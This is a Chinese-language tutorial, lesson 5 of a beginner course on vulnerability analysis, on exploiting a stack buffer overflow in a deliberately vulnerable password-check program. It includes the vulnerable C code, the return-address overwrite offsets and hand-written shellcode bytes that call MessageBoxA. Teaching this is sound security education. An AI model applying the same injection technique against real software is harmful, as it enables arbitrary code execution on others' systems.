天天看點

軟體漏洞分析入門_5

導讀:

  第5講 初級棧溢出D——植入任意代碼

  To be the apostrophe which changed “Impossible” into “I’m possible”

  —— failwest

  麻雀雖小,五髒俱全

  如果您順利的學完了前面4講的内容,并成功的完成了第2講和第4講中的實驗,那麼今天請跟我來一起挑戰一下劫持有漏洞的程序,并向其植入惡意代碼的實驗,相信您成功完成這個實驗後,學習的興趣和自信心都會暴增。

  開始之前,先簡要的回答一下前幾講跟貼中提出的問題

  代碼編譯少頭檔案問題:可能是個人習慣問題,哪怕幾行長的程式我也會丢到project裡去build,而不是用cl,是以沒有注意細節。如果你們嫌麻煩,不如和我一樣用project來build,應該沒有問題的。否則的話,實驗用的程式實在太簡單了,這麼一點小問題自己決絕吧。另外,看到幾個同學說為了實驗,專門恢複了古老的VC6.0,我也感動不已啊,呵呵。

  位址問題:溢出使用的位址一般都要在調試中重新确定,尤其是本節課中的哦。是以照抄我的實驗指導,很可能會出現位址錯誤。特别是本節課中有若幹個位址都需要在調試中重新确定,請大家務必注意。能夠屏蔽位址差異的通用溢出方法将會在後續課程中逐一講解。

  還有就是抱歉周末中斷了一天的講座——無私奉獻也要過周末啊,大家體諒一下了。另外就是下周項目很緊張,估計不能每天都發貼了,争取兩到三天發一次,請大家體諒。

  如果有什麼問題,歡迎在跟貼中提出來,一起讨論,實驗成功完成的同學記住要吱——吱——吱啊,呵呵

  在基礎知識方面,本節沒有新的東西。但是這個想法實踐起來還是要費點周折的。我設計的實驗是最最簡單的情況,為了防止一開始難度高,刻意的去掉了真正的漏洞利用中的一些步驟,為的是讓初學者了解起來更加清晰,自然。

  本節将涉及極少量的彙編語言程式設計,不過不要怕,非常簡單,我會給于詳細的解釋,不用專門去學彙編語言也能扛下來

  另外本節需要最基本的使用OllyDbg進行調試,并配合一些其他工具以确認一些記憶體位址。當然這些位址的确認方法有很多,我隻給出一種解決方案,如果大家在實驗的時候有什麼心得,不妨在跟貼中拿出來和大家一起分享,一起進步。

  開始前簡單回顧上節的内容:

  password.txt 檔案中的超長畸形密碼讀入記憶體後,會淹沒verify_password函數的傳回位址,将其改寫為密碼驗證正确分支的指令位址

  函數傳回時,錯誤的傳回到被修改的記憶體位址處取指執行,進而列印出密碼正确字樣

  試想一下,如果我們把buffer[44]中填入一段可執行的機器指令(寫在password.txt檔案中即可),再把這個傳回位址更改成buffer[44]的位置,那麼函數傳回時不就正好跳去buffer裡取指執行了麼——那裡恰好布置着一段用心險惡的機器代碼!

  本節實驗的内容就用來實踐這一構想——通過緩沖去溢出,讓程序去執行布置在緩沖區中的一段任意代碼。

  

  

軟體漏洞分析入門_5

  

  圖1

  

  如上圖所示,在本節實驗中,我們準備向password.txt檔案裡植入二進制的機器碼,并用這段機器碼來調用windows的一個API函數MessageBoxA,最終在桌面上彈出一個消息框并顯示“failwest”字樣。事實上,您可以用這段代碼來做任何事情,我們這裡隻是為了證明技術的可行性。

  為了完成在棧區植入代碼并執行,我們在上節的密碼驗證程式的基礎上稍加修改,使用如下的實驗代碼:

  #include

  #include

  #define PASSWORD "1234567"

  int verify_password (char *password)

  {

  int authenticated;

  char buffer[44];

  authenticated=strcmp(password,PASSWORD);

  strcpy(buffer,password);//over flowed here!

  return authenticated;

  }

  main()

  {

  int valid_flag=0;

  char password[1024];

  FILE * fp;

  LoadLibrary("user32.dll");//prepare for messagebox

  if(!(fp=fopen("password.txt","rw+")))

  {

  exit(0);

  }

  fscanf(fp,"%s",password);

  valid_flag = verify_password(password);

  if(valid_flag)

  {

  printf("incorrect password!/n");

  }

  else

  {

  printf("Congratulation! You have passed the verification!/n");

  }

  fclose(fp);

  }

  這段代碼在底4講中使用的代碼的基礎上修改了三處:

  增加了頭檔案windows.h,以便程式能夠順利調用LoadLibrary函數去裝載user32.dll

  verify_password函數的局部變量buffer由8位元組增加到44位元組,這樣做是為了有足夠的空間來“承載”我們植入的代碼

  main函數中增加了LoadLibrary("user32.dll")用于初始化裝載user32.dll,以便在植入代碼中調用MessageBox

  用VC6.0将上述代碼編譯(預設編譯選項,編譯成debug版本),得到有棧溢出的可執行檔案。在同目錄下建立password.txt檔案用于程式調試。

  我們準備在password.txt檔案中植入二進制的機器碼,在password.txt攻擊成功時,密碼驗證程式應該執行植入的代碼,并在桌面上彈出一個消息框顯示“failwest”字樣。

  

  讓我們在動手之前回顧一下我們需要完成的幾項工作:

  1:分析并調試漏洞程式,獲得淹沒傳回位址的偏移——在password.txt的第幾個位元組填僞造的傳回位址

  2:獲得buffer的起始位址,并将其寫入password.txt的相應偏移處,用來沖刷傳回位址——填什麼值

  3:向password.txt中寫入可執行的機器代碼,用來調用API彈出一個消息框——編寫能夠成功運作的機器代碼(二進制級别的哦)

  這三個步驟也是漏洞利用過程中最基本的三個問題——淹到哪裡,淹成什麼以及開發shellcode

  首先來看淹到什麼位置和把傳回位址改成什麼值的問題

  本節驗證程式裡verify_password中的緩沖區為44個位元組,按照前邊實驗中對棧結構的分析,我們不難得出棧幀中的狀态如下圖所示:

  

  

軟體漏洞分析入門_5

  

  圖2

  如果在password.txt中寫入恰好44個字元,那麼第45個隐藏的截斷符null将沖掉authenticated低位元組中的1,進而突破密碼驗證的限制。我們不妨就用44個位元組做為輸入來進行動态調試。

  出于位元組對齊、容易辨認的目的,我們把“4321”作為一個輸入單元。

  buffer[44]共需要11個這樣的單元

  第12個輸入單元将authenticated覆寫

  第13個輸入單元将前棧幀EBP值覆寫

  第14個輸入單元将傳回位址覆寫

  分析過後我們需要進行調試驗證分析的正确性。首先在password.txt中寫入11組“4321”共44個字元:

  

  

軟體漏洞分析入門_5

  

  圖3

  如我們所料,authenticated被沖刷後程式将進入驗證通過的分支:

  

  

軟體漏洞分析入門_5

  

  圖4

  用OllyDbg加載這個生成的PE檔案進行動态調試,字元串拷貝函數過後的棧狀态如圖:

  

  

軟體漏洞分析入門_5

  

  圖5

  此時的棧區記憶體如下表所示

  局部變量名 記憶體位址 偏移3處的值 偏移2處的值 偏移1處的值 偏移0處的值

  buffer[0~3] 0x0012FAF0 0x31 (‘1’) 0x32 (‘2’) 0x33 (‘3’) 0x34 (‘4’)

  …… (9個雙字) 0x31 (‘1’) 0x32 (‘2’) 0x33 (‘3’) 0x34 (‘4’)

  buffer[40~43] 0x0012FB18 0x31 (‘1’) 0x32 (‘2’) 0x33 (‘3’) 0x34 (‘4’)

  authenticated

  (被覆寫前) 0x0012FB1C 0x00 0x00 0x00 0x31 (‘1’)

  authenticated

  (被覆寫後) 0x0012FB1C 0x00 0x00 0x00 0x00 (NULL)

  前棧幀EBP 0x0012FB20 0x00 0x12 0xFF 0x80

  傳回位址 0x0012FB24 0x00 0x40 0x11 0x18

  動态調試的結果證明了前邊分析的正确性。從這次調試中我們可以得到以下資訊:

  buffer數組的起始位址為0x0012FAF0——注意這個值隻是我調試的結果,您需要在自己機器上重新确定!

  password.txt檔案中第53到第56個字元的ASCII碼值将寫入棧幀中的傳回位址,成為函數傳回後執行的指令位址

  也就是說将buffer的起始位址0x0012FAF0寫入password.txt檔案中的第53到第56個位元組,在verify_password函數傳回時會跳到我們輸入的字串開始出取指執行。

  我們下面還需要給password.txt中植入機器代碼。

  讓程式彈出一個消息框隻需要調用windows的API函數MessageBox。MSDN對這個函數的解釋如下:

  int MessageBox(

  HWND hWnd, // handle to owner window

  LPCTSTR lpText, // text in message box

  LPCTSTR lpCaption, // message box title

  UINT uType // message box style

  );

  hWnd

  [in] 消息框所屬視窗的句柄,如果為NULL的話,消息框則不屬于任何視窗

  lpText

  [in] 字元串指針,所指字元串會在消息框中顯示

  lpCaption

  [in] 字元串指針,所指字元串将成為消息框的标題

  uType

  [in] 消息框的風格(單按鈕,多按鈕等),NULL代表預設風格

  雖然隻是調一個API,在進階語言中也就一行代碼,但是要我們直接用二進制指令的形式寫出來也并不是一件容易的事。這個貌似簡單的問題解決起來還要用一點小心思。不要怕,我會給我的解決辦法,不一定是最好的,但是能解決問題。

  我們将寫出調用這個API的彙編代碼,然後翻譯成機器代碼,用16進制編輯工具填入password.txt檔案。

  注意:熟悉MFC的程式員一定知道,其實系統中并不存在真正的MessagBox函數,對MessageBox這類API的調用最終都将由系統按照參數中字元串的類型選擇“A”類函數(ASCII)或者“W”類函數(UNICODE)調用。是以我們在彙編語言中調用的函數應該是MessageBoxA。多說一句,其實MessageBoxA的實作隻是在設定了幾個不常用參數後直接調用MessageBoxExA。探究API的細節超出了本書所讨論的範圍,有興趣的讀者可以參閱其他書籍。

  用彙編語言調用MessageboxA需要三個步驟:

  1.裝載動态連結庫user32.dll。MessageBoxA是動态連結庫user32.dll的導出函數。雖然大多數有圖形化操作界面的程式都已經裝載了這個庫,但是我們用來實驗的consol版并沒有預設加載它

  2.在彙編語言中調用這個函數需要獲得這個函數的入口位址

  3 在調用前需要向棧中按從右向左的順序壓入MessageBoxA的四個參數。當然,我肯定壓如failwest啦,哈哈

  對于第一個問題,為了讓植入的機器代碼更加簡潔明了,我們在實驗準備中構造漏洞程式的時候已經人工加載了user32.dll這個庫,是以第一步操作不用在彙編語言中考慮。

  對于第二個問題,我們準備直接調用這個API的入口位址,這個位址需要在您的實驗機器上重新确定,因為user32.dll中導出函數的位址和作業系統版本和更新檔号有關,您的位址和我的位址不一定一樣。

  MessageBoxA的入口參數可以通過user32.dll在系統中加載的基址和MessageBoxA在庫中的偏移相加得到。為啥?看下看雪老大《軟體加密與解密》中關于虛拟位址這些基礎知識的論述吧,相信版内也有很多相關資料。

  這裡簡單解釋下,MessageBoxA是user32.dll的一個導出函數,要确定它首先要知道user32.dll在虛拟記憶體中的裝載位址(與作業系統版本有關),然後從這個基位址算起,找到MessageBoxA這個導出函數的偏移,兩者相加,就是這個API的虛拟記憶體位址。

  具體的我們可以使用VC6.0自帶的小工具“Dependency Walker”獲得這些資訊。您可以在VC6.0安裝目錄下的Tools下找到它:

  

  

軟體漏洞分析入門_5

  

  圖6

  運作Depends後,随便拖拽一個有圖形界面的PE檔案進去,就可以看到它所使用的庫檔案了。在左欄中找到并選中user32.dll後,右欄中會列出這個庫檔案的所有導出函數及偏移位址;下欄中則列出了PE檔案用到的所有的庫的基位址。

  

  

軟體漏洞分析入門_5

  

  圖7

  如上圖示,user32.dll的基位址為0x77D40000,MessageBoxA的偏移位址為0x000404EA。基位址加上偏移位址就得到了MessageBoxA在記憶體中的入口位址:0x77D804EA

  有了這個入口位址,就可以編寫進行函數調用的彙編代碼了。這裡我們先把字元串“failwest”壓入棧區,消息框的文本和标題都顯示為“failwest”,隻要重複壓入指向這個字元串的指針即可;第一個和第四個參數這裡都将設定為NULL。寫出的彙編代碼和指令所對應的機器代碼如下:

  

  機器代碼(16進制) 彙編指令 注釋

  33 DB XOR EBX,EBX 壓入NULL結尾的”failwest”字元串。之是以用EBX清零後入棧做為字元串的截斷符,是為了避免“PUSH 0”中的NULL,否則植入的機器碼會被strcpy函數截斷。

  53 PUSH EBX

  68 77 65 73 74 PUSH 74736577

  68 66 61 69 6C PUSH 6C696166

  8B C4 MOV EAX,ESP EAX裡是字元串指針

  53 PUSH EBX 四個參數按照從右向左的順序入棧,分别為:

  (0,failwest,failwest,0)

  消息框為預設風格,文本區和标題都是“failwest”

  50 PUSH EAX

  50 PUSH EAX

  53 PUSH EBX

  B8 EA 04 D8 77 MOV EAX, 0x77D804EA 調用MessageBoxA。注意不同的機器這裡的

  函數入口位址可能不同,請按實際值填入!

  FF D0 CALL EAX

  從彙編指令到機器碼的轉換可以有很多種方法。調試彙編指令,從彙編指令中提取出二進制機器代碼的方法将在後面逐一介紹。由于這裡僅僅用了11條指令和對應的26個位元組的機器代碼,如果您一定要現在就弄明白指令到機器碼是如何對應的話,直接查閱Intel的指令集手工翻譯也不是不可以。

  将上述彙編指令對應的機器代碼按照上一節介紹的方法以16進制形式逐字抄入password.txt,第53到56位元組填入buffer的起址0x0012FAF0,其餘的位元組用0x90(nop指令)填充,如圖:

  

  

軟體漏洞分析入門_5

  

  圖8

  換回文本模式可以看到這些機器代碼所對應的字元:

  

  

軟體漏洞分析入門_5

  

  圖9

  這樣構造了password.txt之後在運作驗證程式,程式執行的流程将按下圖所示:

  

  

軟體漏洞分析入門_5

  

  圖10

  程式運作情況如圖:

  

  

軟體漏洞分析入門_5

  

  圖11

  成功的彈出了我們植入的代碼!

  您成功了嗎?如果成功的喚出了藏在password.txt中的消息框,請在跟貼中吱一下,和大家一起分享您喜悅的心情,這是我們學習技術的源動力。

  最後總結一下本節實驗的幾個要點:

  确認函數傳回位址與buffer數組的距離——淹哪裡

  确認buffer數組的記憶體位址——把傳回位址淹成什麼(需要調試确定,與機器有關)

  編制調用消息框的二進制代碼,關鍵是确定MessageBoxA的虛拟記憶體位址(與機器有關)

  我實驗用的PE和password.txt在這裡:

  想要PE的請點這裡:stack_overflow_exec.rar

  想要Passwrd.txt的請點這裡:password.txt

  這節課的題目是麻雀雖小,五髒俱全。這是因為這節課第一次把漏洞利用的全國程展現給了大家:

  密碼驗證程式讀入一個畸形的密碼檔案,竟然蹦出了一個消息框!

  Word在解析doc文檔時,不知有多少個記憶體複制和操作的函數調用,如果哪一個有溢出漏洞,那麼office讀入一個畸形的word文檔時,會不會彈出個消息框,開個後門,起個木馬啥的?

  IIS和APACHE在解析WEB請求的時候,也不知道有多少記憶體複制操作,如果存在溢出漏洞,那麼攻擊者發送一個畸形的WEB請求,會不會導緻server做出點奇怪的事情?

  RPC調用中如果出現……

  上面說的并不是危言聳聽,全都是真實世界中曾經出現過的漏洞攻擊案例。本節的例子是現實中的漏洞利用案例的精簡版,用來闡述基本概念并驗證技術可行性。随着後面的深入讨論,您會發現漏洞研究是多麼有趣的一門技術。

  在本節最後,我給出一個課後作業和幾個思考題——因為下一講可能會稍微隔幾天,大家不妨自己動手練習練習,記住光聽課是沒有的,動手非常重要!

  課後作業:如果您細心的話,在點選上面的ok按鈕之後,程式會崩潰:

  

軟體漏洞分析入門_5

  

  圖12

  這是因為MessageBoxA調用的代碼執行完成之後,我們沒有寫安全退出的代碼的緣故。您能把我給出的二進制代碼稍微修改下,使之能夠在點選之後幹淨利落的退出程序麼?

  如果你能做到這一點,不妨把你的解決方案也拿出來和大家一起分享,一起進步。

  思考題:

  1:我反複強調,buffer的位置在實驗中需要自己在調試中确定,不同機器環境可能不一樣。

  大家都知道,程式運作中,棧的位置是動态變化的,也就是說buffer的記憶體位址可能每次都不一樣,在真實的漏洞利用中,尤其是遇到多線程的程式,每次的緩沖區位置都是不同的。那麼我們怎麼保證在函數傳回時總能夠準确的跳回buffer,找到植入的代碼呢?

  比較通用的定位植入代碼(shellcode)的方法我會在後面的講座中系統介紹,這裡先提一下,大家可以思考思考

  2:我也反複強調,API的位址需要自己确定,不同環境會有不同。這樣植入代碼的通用性還是會大打折扣。有沒有通用的定位windows API的方法呢?

  以上兩個問題是影響windows平台下漏洞利用穩定性的兩個很關鍵的問題。我選擇了windows平台來講解,是為了照顧初學者對linux的進入門檻和windows下美輪美奂的調試工具。但windows的溢出是相對linux較難的,進入簡單,深造難。不過我相信大家能啃下來的。

  為了不至于在一節課中引入太多新東西,我在本節課中均采用現場調試确定的方法,并沒有考慮通用性問題。在這裡鼓勵大家積極思考,有想法别忘了在跟貼中分享出來。

繼續閱讀